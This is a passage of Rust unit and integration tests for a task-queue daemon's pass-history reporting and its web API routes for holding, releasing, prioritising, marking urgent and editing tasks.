16893                ),
16894                recorded_pass(1, None),
16895            ];
16896        });
16897        let task = flow_task(&[RUN_X, RUN_X]);
16898        let h = task_history(&task, |_| Some(run.clone()));
16899        assert!(
16900            h[0].outcome.contains("upgrade from 0.121.0"),
16901            "{}",
16902            h[0].outcome
16903        );
16904        // No settle record: the refund is not claimed.
16905        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16906    }
16907
16908    #[test]
16909    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16910        use crate::queue::PassCost;
16911        use crate::run::ParkCause;
16912        let run = flow_run(RunStatus::Implementing, |s| {
16913            s.passes = vec![
16914                recorded_pass(0, parked(upgrade_cause())),
16915                recorded_pass(
16916                    1,
16917                    parked(ParkCause::Interrupt {
16918                        reason: "task a1b2 asked to run first".to_owned(),
16919                    }),
16920                ),
16921                recorded_pass(2, parked(ParkCause::Operator)),
16922                recorded_pass(3, None),
16923            ];
16924        });
16925        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16926        task.attempts = 1;
16927        task.passes = (0..3)
16928            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16929            .collect();
16930        let h = task_history(&task, |_| Some(run.clone()));
16931        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16932        assert!(
16933            h[1].outcome.contains("task a1b2 asked to run first"),
16934            "{}",
16935            h[1].outcome
16936        );
16937        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16938        assert!(
16939            h[2].outcome.contains("operator asked the loop to park"),
16940            "{}",
16941            h[2].outcome
16942        );
16943        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16944        let f = task_flow(&task, &h, 2, None);
16945        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16946    }
16947
16948    #[test]
16949    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16950        let run = flow_run(RunStatus::Implementing, |s| {
16951            s.passes = vec![
16952                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16953                recorded_pass(1, None),
16954            ];
16955        });
16956        let task = flow_task(&[RUN_X, RUN_X]);
16957        let h = task_history(&task, |_| Some(run.clone()));
16958        assert_eq!(h[0].exit, RunExit::Interrupted);
16959        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16960        assert!(
16961            h[0].outcome.contains("without recording why"),
16962            "{}",
16963            h[0].outcome
16964        );
16965        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16966        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16967    }
16968
16969    #[test]
16970    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16971        use crate::queue::PassCost;
16972        // Three entries, but the run only began keeping passes at the last
16973        // two: the first is legacy and must not be given a cause.
16974        let run = flow_run(RunStatus::Implementing, |s| {
16975            s.passes = vec![
16976                recorded_pass(0, parked(upgrade_cause())),
16977                recorded_pass(1, None),
16978            ];
16979        });
16980        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16981        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16982        let h = task_history(&task, |_| Some(run.clone()));
16983        assert!(h[0].pass.is_none());
16984        assert_eq!(h[0].exit, RunExit::Interrupted);
16985        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16986        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16987        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16988        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16989        // A run with no passes at all is entirely unknown.
16990        let legacy = flow_run(RunStatus::Implementing, |_| {});
16991        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16992        assert!(h.iter().all(|v| v.pass.is_none()));
16993        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16994    }
16995
16996    #[test]
16997    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16998        use crate::queue::PassCost;
16999        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17000        // task. The two entries are passes 0 and 2.
17001        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17002        web.task_entry = false;
17003        let run = flow_run(RunStatus::Implementing, |s| {
17004            s.passes = vec![
17005                recorded_pass(0, parked(upgrade_cause())),
17006                web.clone(),
17007                recorded_pass(2, None),
17008            ];
17009        });
17010        let mut task = flow_task(&[RUN_X, RUN_X]);
17011        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17012        let h = task_history(&task, |_| Some(run.clone()));
17013        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17014        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17015
17016        // Legacy first entry, then a web resume that parked for an upgrade,
17017        // then the daemon's pass: the legacy entry must stay unknown.
17018        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17019        web0.task_entry = false;
17020        let run = flow_run(RunStatus::Implementing, |s| {
17021            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17022        });
17023        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17024        assert!(h[0].pass.is_none());
17025        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17026        assert!(h[1].pass.is_some());
17027    }
17028
17029    #[tokio::test]
17030    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17031        let dir = tempfile::tempdir().unwrap();
17032        let queue = Queue::at(dir.path().join("queue"));
17033        let ui = Arc::new(Ui::new(
17034            queue.clone(),
17035            Questions::at(dir.path().join("questions")),
17036            Talks::at(dir.path().join("talks")),
17037            dir.path().join("runs"),
17038            dir.path().to_path_buf(),
17039            dir.path().to_path_buf(),
17040        ));
17041        let mut t = Task::new(
17042            "recover".into(),
17043            "Inspect".into(),
17044            PathBuf::from("."),
17045            Source::Human,
17046        );
17047        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17048        t.start("run-A".into());
17049        t.release_operator("choice", Some("resume-question"));
17050        t.resume_override = Some(crate::queue::OperatorResume {
17051            question_id: "resume-question".into(),
17052            at: jiff::Timestamp::now(),
17053            conductor_rehold: None,
17054            forced: true,
17055            pinned_run: Some("run-A".into()),
17056        });
17057        t.hold_machine(Some("inspection pending".into()));
17058        t.edit("recover".into(), "Reuse approved PR head".into())
17059            .unwrap();
17060        queue.put(&mut t).unwrap();
17061        let mut cli = t.clone();
17062        cli.release_operator("cli", None);
17063        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17064        let reloaded = queue.get(&t.id).unwrap();
17065        assert_eq!(reply.task.status, TaskStatus::Queued);
17066        assert!(reloaded.resume_override.is_none());
17067        assert_eq!(reloaded.answers, t.answers);
17068        let mut web = reloaded.resumption.unwrap();
17069        let cli = cli.resumption.unwrap();
17070        assert_eq!(web.source, "web");
17071        web.source = cli.source.clone();
17072        web.at = cli.at;
17073        assert_eq!(web, cli);
17074    }
17075
17076    #[tokio::test]
17077    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17078        let f = Fixture::start().await;
17079        let queue = f.queue();
17080        let mut task = Task::new(
17081            "spent".to_owned(),
17082            "Try again".to_owned(),
17083            PathBuf::from("/repo/magi"),
17084            Source::Human,
17085        );
17086        task.start("20260902-140502-bbbb".to_owned());
17087        task.fail("agent gave up", 9);
17088        queue.put(&mut task).expect("file the task");
17089
17090        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17091        assert_eq!(held.status, 200);
17092        assert_eq!(held.json()["status_str"], "held");
17093
17094        let released = f
17095            .post(&format!("/api/queue/{}/release", task.id), None)
17096            .await;
17097        assert_eq!(released.status, 200);
17098        assert_eq!(released.json()["status_str"], "queued");
17099        assert_eq!(released.json()["resumption"]["source"], "web");
17100        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17101        let mut cli = task.clone();
17102        cli.release_operator("cli", None);
17103        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17104        let cli = cli.resumption.unwrap();
17105        assert_eq!(web.instruction, cli.instruction);
17106        assert_eq!(web.answers_through, cli.answers_through);
17107        assert_eq!(web.runs_through, cli.runs_through);
17108        assert_eq!(web.cleared_reason, cli.cleared_reason);
17109        assert_eq!(
17110            released.json()["attempts"],
17111            0,
17112            "release is a real second chance, not an instant re-hold"
17113        );
17114        assert_eq!(
17115            queue.get(&task.id).expect("reload").status,
17116            TaskStatus::Queued,
17117            "the change is on disk, not only in the reply"
17118        );
17119        assert!(
17120            !f.home
17121                .path()
17122                .join("queue")
17123                .join(format!("{}.lock", task.id))
17124                .exists(),
17125            "the claim the mutation took is released again"
17126        );
17127    }
17128
17129    #[tokio::test]
17130    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17131        let f = Fixture::start().await;
17132        let queue = f.queue();
17133        let mut task = Task::new(
17134            "busy".to_owned(),
17135            "Running right now".to_owned(),
17136            PathBuf::from("/repo/magi"),
17137            Source::Human,
17138        );
17139        queue.put(&mut task).expect("file the task");
17140        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17141
17142        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17143
17144        assert_eq!(res.status, 409);
17145        assert_eq!(
17146            queue.get(&task.id).expect("reload").status,
17147            TaskStatus::Queued,
17148            "the refused hold changed nothing"
17149        );
17150    }
17151
17152    #[tokio::test]
17153    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17154        let f = Fixture::start().await;
17155        let queue = f.queue();
17156        let mut task = Task::new(
17157            "waiting on the migration".to_owned(),
17158            "Do the thing".to_owned(),
17159            PathBuf::from("/repo/magi"),
17160            Source::Human,
17161        );
17162        queue.put(&mut task).expect("file the task");
17163
17164        let held = f
17165            .post(
17166                &format!("/api/queue/{}/hold", task.id),
17167                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17168            )
17169            .await;
17170        assert_eq!(held.status, 200, "{}", held.body);
17171        assert_eq!(held.json()["status_str"], "held");
17172        assert_eq!(
17173            held.json()["hold_reason"],
17174            "waiting for 20260101-000000-aaaa to land"
17175        );
17176
17177        let listed = f.get("/api/queue").await.json();
17178        assert_eq!(
17179            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17180            "the card reads the reason off the same list route"
17181        );
17182
17183        // A hold with no body at all must keep working - most holds have no
17184        // reason to give.
17185        let mut plain = Task::new(
17186            "no reason given".to_owned(),
17187            "Do another thing".to_owned(),
17188            PathBuf::from("/repo/magi"),
17189            Source::Human,
17190        );
17191        queue.put(&mut plain).expect("file the task");
17192        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17193        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17194        assert!(held_plain.json()["hold_reason"].is_null());
17195
17196        let released = f
17197            .post(&format!("/api/queue/{}/release", task.id), None)
17198            .await;
17199        assert_eq!(released.status, 200);
17200        assert!(
17201            released.json()["hold_reason"].is_null(),
17202            "a release must clear the reason so the next hold does not inherit it"
17203        );
17204    }
17205
17206    #[test]
17207    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17208        for urgent in [true, false] {
17209            let body: UrgentBody =
17210                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17211            assert_eq!(body.urgent, urgent);
17212        }
17213        for input in [
17214            r#"{}"#,
17215            r#"{"urgent":null}"#,
17216            r#"{"urgent":"true"}"#,
17217            r#"{"urgent":1}"#,
17218            r#"{"urgent":true,"extra":false}"#,
17219        ] {
17220            assert!(
17221                serde_json::from_str::<UrgentBody>(input).is_err(),
17222                "{input}"
17223            );
17224        }
17225    }
17226
17227    #[tokio::test]
17228    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17229        let home = TempDir::new().unwrap();
17230        let q = Queue::at(home.path().join("queue"));
17231        let ui = Arc::new(Ui::new(
17232            q.clone(),
17233            Questions::at(home.path().join("questions")),
17234            Talks::at(home.path().join("talks")),
17235            home.path().join("runs"),
17236            home.path().into(),
17237            home.path().into(),
17238        ));
17239        let mut task = Task::new(
17240            "urgent handler".into(),
17241            "keep".into(),
17242            home.path().into(),
17243            Source::Human,
17244        );
17245        for status in [TaskStatus::Queued, TaskStatus::Held] {
17246            task.status = status;
17247            q.put(&mut task).unwrap();
17248            for urgent in [true, true, false, false] {
17249                let saved = queue_urgent(
17250                    State(Arc::clone(&ui)),
17251                    Path(task.short().into()),
17252                    Ok(Json(UrgentBody { urgent })),
17253                )
17254                .await
17255                .unwrap();
17256                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17257                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17258            }
17259        }
17260        task.status = TaskStatus::Queued;
17261        q.put(&mut task).unwrap();
17262        let claim = q.claim(&task.id).unwrap();
17263        let error = queue_urgent(
17264            State(Arc::clone(&ui)),
17265            Path(task.id.clone()),
17266            Ok(Json(UrgentBody { urgent: true })),
17267        )
17268        .await
17269        .unwrap_err();
17270        assert_eq!(error.status, StatusCode::CONFLICT);
17271        assert!(error.message.contains("released"));
17272        drop(claim);
17273        for status in [
17274            TaskStatus::Running,
17275            TaskStatus::Done,
17276            TaskStatus::Failed,
17277            TaskStatus::Blocked,
17278            TaskStatus::Parked,
17279        ] {
17280            task.status = status;
17281            q.put(&mut task).unwrap();
17282            let error = queue_urgent(
17283                State(Arc::clone(&ui)),
17284                Path(task.id.clone()),
17285                Ok(Json(UrgentBody { urgent: false })),
17286            )
17287            .await
17288            .unwrap_err();
17289            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17290            assert!(error.message.contains(status.as_str()));
17291        }
17292    }
17293
17294    #[tokio::test]
17295    async fn urgent_api_updates_preserves_and_validates_tasks() {
17296        let f = Fixture::start().await;
17297        let q = f.queue();
17298        let mut t = Task::new(
17299            "urgent API".into(),
17300            "unchanged".into(),
17301            PathBuf::from("/repo/magi"),
17302            Source::Human,
17303        );
17304        t.attempts = 2;
17305        t.priority = 9;
17306        t.interrupt = true;
17307        t.hold_reason = Some("waiting for approval".into());
17308        for status in [TaskStatus::Queued, TaskStatus::Held] {
17309            t.status = status;
17310            q.put(&mut t).unwrap();
17311            for urgent in [true, true, false, false] {
17312                let response = f
17313                    .post(
17314                        &format!("/api/queue/{}/urgent", t.short()),
17315                        Some(&format!("{{\"urgent\":{urgent}}}")),
17316                    )
17317                    .await;
17318                assert_eq!(response.status, 200, "{}", response.body);
17319                assert_eq!(response.json()["urgent"], urgent);
17320                let saved = q.get(&t.id).unwrap();
17321                let mut before = serde_json::to_value(&t).unwrap();
17322                let mut after = serde_json::to_value(saved).unwrap();
17323                before["urgent"] = urgent.into();
17324                before.as_object_mut().unwrap().remove("updated_at");
17325                after.as_object_mut().unwrap().remove("updated_at");
17326                assert_eq!(after, before);
17327            }
17328        }
17329        let route = format!("/api/queue/{}/urgent", t.id);
17330        for body in [
17331            r#"{}"#,
17332            r#"{"urgent":null}"#,
17333            r#"{"urgent":"true"}"#,
17334            r#"{"urgent":1}"#,
17335            r#"{"urgent":true,"extra":false}"#,
17336            "{",
17337        ] {
17338            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17339        }
17340        t.status = TaskStatus::Queued;
17341        q.put(&mut t).unwrap();
17342        let claim = q.claim(&t.id).unwrap();
17343        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17344        assert_eq!(response.status, 409, "{}", response.body);
17345        assert!(!q.get(&t.id).unwrap().urgent);
17346        drop(claim);
17347        for status in [
17348            TaskStatus::Running,
17349            TaskStatus::Done,
17350            TaskStatus::Failed,
17351            TaskStatus::Blocked,
17352            TaskStatus::Parked,
17353        ] {
17354            t.status = status;
17355            q.put(&mut t).unwrap();
17356            for urgent in [true, false] {
17357                let response = f
17358                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17359                    .await;
17360                assert_eq!(response.status, 400, "{}", response.body);
17361                assert!(response.body.contains(status.as_str()));
17362                assert!(response.body.contains("queued or held"));
17363                assert!(!q.get(&t.id).unwrap().urgent);
17364            }
17365        }
17366        assert_eq!(
17367            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17368                .await
17369                .status,
17370            404
17371        );
17372    }
17373
17374    #[tokio::test]
17375    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17376        let f = Fixture::start().await;
17377        let queue = f.queue();
17378        let mut older = Task::new(
17379            "filed first".to_owned(),
17380            "x".to_owned(),
17381            PathBuf::from("/repo/magi"),
17382            Source::Human,
17383        );
17384        older.id = "20260101-000001-aaaa".to_owned();
17385        let mut newer = Task::new(
17386            "filed second".to_owned(),
17387            "x".to_owned(),
17388            PathBuf::from("/repo/magi"),
17389            Source::Human,
17390        );
17391        newer.id = "20260101-000002-bbbb".to_owned();
17392        queue.put(&mut older).expect("file older");
17393        queue.put(&mut newer).expect("file newer");
17394
17395        // Equal priority: the newer task leads, the same order the old
17396        // newest-first `list()` already gave every equal-priority queue.
17397        let before = f.get("/api/queue").await.json();
17398        assert_eq!(before[0]["id"], newer.id);
17399        assert_eq!(before[1]["id"], older.id);
17400
17401        // Raising the *older* task is the meaningful case: it can only lead
17402        // now because its priority says so, not because it happens to be
17403        // newest.
17404        let raised = f
17405            .post(
17406                &format!("/api/queue/{}/priority", older.id),
17407                Some(r#"{"priority":10}"#),
17408            )
17409            .await;
17410        assert_eq!(raised.status, 200, "{}", raised.body);
17411        assert_eq!(raised.json()["priority"], 10);
17412
17413        let after = f.get("/api/queue").await.json();
17414        let names: Vec<&str> = after
17415            .as_array()
17416            .unwrap()
17417            .iter()
17418            .map(|t| t["id"].as_str().unwrap())
17419            .collect();
17420        // Highest priority first, which is the order next_runnable and
17421        // `magi task list` both use - GET /api/queue must agree with it
17422        // immediately, not just once the loop claims the task.
17423        assert_eq!(names[0], older.id, "the raised task now sorts first");
17424    }
17425
17426    #[tokio::test]
17427    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17428        let dir = TempDir::new().unwrap();
17429        let q = Queue::at(dir.path().join("queue"));
17430        let ui = Arc::new(Ui::new(
17431            q.clone(),
17432            Questions::at(dir.path().join("questions")),
17433            Talks::at(dir.path().join("talks")),
17434            dir.path().join("runs"),
17435            dir.path().to_path_buf(),
17436            dir.path().to_path_buf(),
17437        ));
17438        let mut t = Task::new(
17439            "budget".into(),
17440            "keep".into(),
17441            dir.path().into(),
17442            Source::Human,
17443        );
17444        t.attempts = 2;
17445        t.runs.push("prior-run".into());
17446        t.hold_manual(Some("waiting".into()));
17447        q.put(&mut t).unwrap();
17448        let change = |value| {
17449            queue_attempt_limit(
17450                State(ui.clone()),
17451                Path(t.id.clone()),
17452                Ok(Json(AttemptLimitBody {
17453                    attempt_limit: value,
17454                })),
17455            )
17456        };
17457        for value in [
17458            serde_json::json!(3),
17459            serde_json::Value::Null,
17460            serde_json::json!(1),
17461        ] {
17462            let response = change(value.clone()).await.unwrap();
17463            assert_eq!(
17464                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17465                value
17466            );
17467            let saved = q.get(&t.id).unwrap();
17468            assert_eq!(
17469                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17470                value
17471            );
17472            assert_eq!(saved.status, TaskStatus::Held);
17473            assert_eq!(saved.attempts, t.attempts);
17474            assert_eq!(saved.runs, t.runs);
17475            assert_eq!(saved.hold_reason, t.hold_reason);
17476            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17477                .await
17478                .unwrap()
17479                .0;
17480            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17481            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17482            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17483            assert_eq!(outcome.max_attempts, detail.max_attempts);
17484        }
17485        for value in [
17486            serde_json::json!(0),
17487            serde_json::json!(-1),
17488            serde_json::json!(1.5),
17489            serde_json::json!("3"),
17490            serde_json::json!(true),
17491        ] {
17492            assert_eq!(
17493                change(value).await.err().unwrap().status,
17494                StatusCode::BAD_REQUEST
17495            );
17496        }
17497        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17498        let claim = q.claim(&t.id).unwrap();
17499        assert_eq!(
17500            change(serde_json::json!(4)).await.err().unwrap().status,
17501            StatusCode::CONFLICT
17502        );
17503        drop(claim);
17504        for status in [
17505            TaskStatus::Running,
17506            TaskStatus::Done,
17507            TaskStatus::Failed,
17508            TaskStatus::Blocked,
17509            TaskStatus::Parked,
17510        ] {
17511            let mut stored = q.get(&t.id).unwrap();
17512            stored.status = status;
17513            q.put(&mut stored).unwrap();
17514            assert_eq!(
17515                change(serde_json::json!(4)).await.err().unwrap().status,
17516                StatusCode::BAD_REQUEST
17517            );
17518            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17519        }
17520        let mut stored = q.get(&t.id).unwrap();
17521        stored.status = TaskStatus::Queued;
17522        q.put(&mut stored).unwrap();
17523        let _ = change(serde_json::Value::Null).await.unwrap();
17524        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17525    }
17526
17527    #[tokio::test]
17528    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17529        let dir = TempDir::new().unwrap();
17530        let repo = dir.path().join("repo");
17531        std::fs::create_dir(&repo).unwrap();
17532        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17533        let q = Queue::at(dir.path().join("queue"));
17534        let ui = Arc::new(Ui::new(
17535            q.clone(),
17536            Questions::at(dir.path().join("questions")),
17537            Talks::at(dir.path().join("talks")),
17538            dir.path().join("runs"),
17539            dir.path().to_path_buf(),
17540            repo.clone(),
17541        ));
17542        let mut t = Task::new(
17543            "seats".into(),
17544            "keep instruction".into(),
17545            repo,
17546            Source::Human,
17547        );
17548        t.runs.push("prior-run".into());
17549        t.hold_manual(Some("waiting".into()));
17550        q.put(&mut t).unwrap();
17551        let change = |count| {
17552            queue_implementers(
17553                State(ui.clone()),
17554                Path(t.id.clone()),
17555                Ok(Json(ImplementersBody {
17556                    implementers: count,
17557                })),
17558            )
17559        };
17560        for count in [2, 1, 2] {
17561            let response = change(count).await.unwrap();
17562            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17563            let saved = q.get(&t.id).unwrap();
17564            assert_eq!(saved.implementers(), Some(usize::from(count)));
17565            assert_eq!(saved.runs, t.runs);
17566            assert_eq!(saved.instruction, t.instruction);
17567        }
17568        for count in [0, 4] {
17569            assert_eq!(
17570                change(count).await.err().unwrap().status,
17571                StatusCode::BAD_REQUEST
17572            );
17573        }
17574        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17575        let claim = q.claim(&t.id).unwrap();
17576        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17577        drop(claim);
17578        for status in [
17579            TaskStatus::Running,
17580            TaskStatus::Done,
17581            TaskStatus::Failed,
17582            TaskStatus::Blocked,
17583            TaskStatus::Parked,
17584        ] {
17585            let mut stored = q.get(&t.id).unwrap();
17586            stored.status = status;
17587            q.put(&mut stored).unwrap();
17588            assert_eq!(
17589                change(1).await.err().unwrap().status,
17590                StatusCode::BAD_REQUEST
17591            );
17592            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17593        }
17594    }
17595
17596    #[tokio::test]
17597    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17598        let f = Fixture::start().await;
17599        let queue = f.queue();
17600        let mut task = Task::new(
17601            "in flight".to_owned(),
17602            "x".to_owned(),
17603            PathBuf::from("/repo/magi"),
17604            Source::Human,
17605        );
17606        task.start("20260902-140502-bbbb".to_owned());
17607        queue.put(&mut task).expect("file the task");
17608
17609        let res = f
17610            .post(
17611                &format!("/api/queue/{}/priority", task.id),
17612                Some(r#"{"priority":9}"#),
17613            )
17614            .await;
17615        assert_eq!(res.status, 400, "{}", res.body);
17616        assert!(
17617            res.json()["error"]
17618                .as_str()
17619                .is_some_and(|e| e.contains("running")),
17620            "{}",
17621            res.body
17622        );
17623        assert_eq!(
17624            queue.get(&task.id).expect("reload").priority,
17625            0,
17626            "the refused write must not partially apply"
17627        );
17628    }
17629
17630    #[tokio::test]
17631    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17632        let f = Fixture::start().await;
17633        let queue = f.queue();
17634        let mut task = Task::new(
17635            "old title".to_owned(),
17636            "old instruction".to_owned(),
17637            PathBuf::from("/repo/magi"),
17638            Source::Agent {
17639                run: "20260101-000000-beef".to_owned(),
17640                node: "implement".to_owned(),
17641            },
17642        );
17643        task.runs.push("20260101-000000-beef".to_owned());
17644        queue.put(&mut task).expect("file the task");
17645        let created_at = task.created_at;
17646
17647        let edited = f
17648            .post(
17649                &format!("/api/queue/{}/edit", task.id),
17650                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17651            )
17652            .await;
17653        assert_eq!(edited.status, 200, "{}", edited.body);
17654        let body = edited.json();
17655        assert_eq!(body["title"], "new title");
17656        assert_eq!(body["instruction"], "new instruction");
17657        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17658        assert_eq!(body["created_at"], created_at.to_string());
17659        assert_eq!(
17660            body["source"]["kind"], "agent",
17661            "editing a task an agent filed must not turn it human: {body}"
17662        );
17663        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17664
17665        let reloaded = queue.get(&task.id).expect("reload");
17666        assert_eq!(reloaded.title, "new title");
17667        assert_eq!(reloaded.instruction, "new instruction");
17668    }
17669
17670    #[tokio::test]
17671    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17672        // The judge is an agent now: a repo whose only agent answers
17673        // "duplicate" stands in for it, so the refusal is the judge's.
17674        let tmp = TempDir::new().expect("tempdir");
17675        let repo = tmp.path().join("repo");
17676        std::fs::create_dir_all(&repo).expect("repo dir");
17677        let judge = MOCK_AGENT_TOML.replace(
17678            "printf ok",
17679            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17680        );
17681        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17682        let f = Fixture::with_repo(repo.clone()).await;
17683        let queue = f.queue();
17684        let mut owner = Task::new(
17685            "owner".to_owned(),
17686            "review it".to_owned(),
17687            repo.clone(),
17688            Source::Human,
17689        );
17690        owner.review_branch = Some("magi/ab12/A".to_owned());
17691        queue.put(&mut owner).expect("file the owner");
17692        let mut task = Task::new(
17693            "draft".to_owned(),
17694            "old".to_owned(),
17695            repo.clone(),
17696            Source::Human,
17697        );
17698        queue.put(&mut task).expect("file the draft");
17699        let url = format!("/api/queue/{}/edit", task.id);
17700
17701        let refused = f
17702            .post(
17703                &url,
17704                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17705            )
17706            .await;
17707        assert_eq!(refused.status, 409, "{}", refused.body);
17708        let msg = refused.json()["error"]
17709            .as_str()
17710            .unwrap_or_default()
17711            .to_owned();
17712        assert!(
17713            msg.contains("magi/ab12/A") && msg.contains("force"),
17714            "{msg}"
17715        );
17716        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17717
17718        let forced = f
17719            .post(
17720                &url,
17721                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17722            )
17723            .await;
17724        assert_eq!(forced.status, 200, "{}", forced.body);
17725    }
17726
17727    #[tokio::test]
17728    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17729        let f = Fixture::start().await;
17730        let queue = f.queue();
17731        let mut task = Task::new(
17732            "in flight".to_owned(),
17733            "do not touch".to_owned(),
17734            PathBuf::from("/repo/magi"),
17735            Source::Human,
17736        );
17737        task.start("20260902-140502-bbbb".to_owned());
17738        queue.put(&mut task).expect("file the task");
17739
17740        let res = f
17741            .post(
17742                &format!("/api/queue/{}/edit", task.id),
17743                Some(r#"{"title":"x","instruction":"y"}"#),
17744            )
17745            .await;
17746        assert_eq!(res.status, 400, "{}", res.body);
17747        assert!(
17748            res.json()["error"]
17749                .as_str()
17750                .is_some_and(|e| e.contains("running")),
17751            "{}",
17752            res.body
17753        );
17754        assert_eq!(
17755            queue.get(&task.id).expect("reload").instruction,
17756            "do not touch",
17757            "the refused edit must not change the file"
17758        );
17759    }
17760
17761    #[tokio::test]
17762    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17763        let f = Fixture::start().await;
17764        let queue = f.queue();
17765        let mut task = Task::new(
17766            "busy".to_owned(),
17767            "Running right now".to_owned(),
17768            PathBuf::from("/repo/magi"),
17769            Source::Human,
17770        );
17771        queue.put(&mut task).expect("file the task");
17772        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17773
17774        let priority = f
17775            .post(
17776                &format!("/api/queue/{}/priority", task.id),
17777                Some(r#"{"priority":9}"#),
17778            )
17779            .await;
17780        assert_eq!(priority.status, 409, "{}", priority.body);
17781
17782        let edit = f
17783            .post(
17784                &format!("/api/queue/{}/edit", task.id),
17785                Some(r#"{"title":"x","instruction":"y"}"#),
17786            )
17787            .await;
17788        assert_eq!(edit.status, 409, "{}", edit.body);
17789    }
17790
17791    #[tokio::test]
17792    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17793        let f = Fixture::start().await;
17794        let queue = f.queue();
17795        let mut task = Task::new(
17796            "shipped by hand".to_owned(),
17797            "merged outside the loop".to_owned(),
17798            PathBuf::from("/repo/magi"),
17799            Source::Agent {
17800                run: "20260101-000000-b455".to_owned(),
17801                node: "implement".to_owned(),
17802            },
17803        );
17804        task.runs.push("20260101-000000-b455".to_owned());
17805        task.runs.push("20260101-000000-9af4".to_owned());
17806        queue.put(&mut task).expect("file the task");
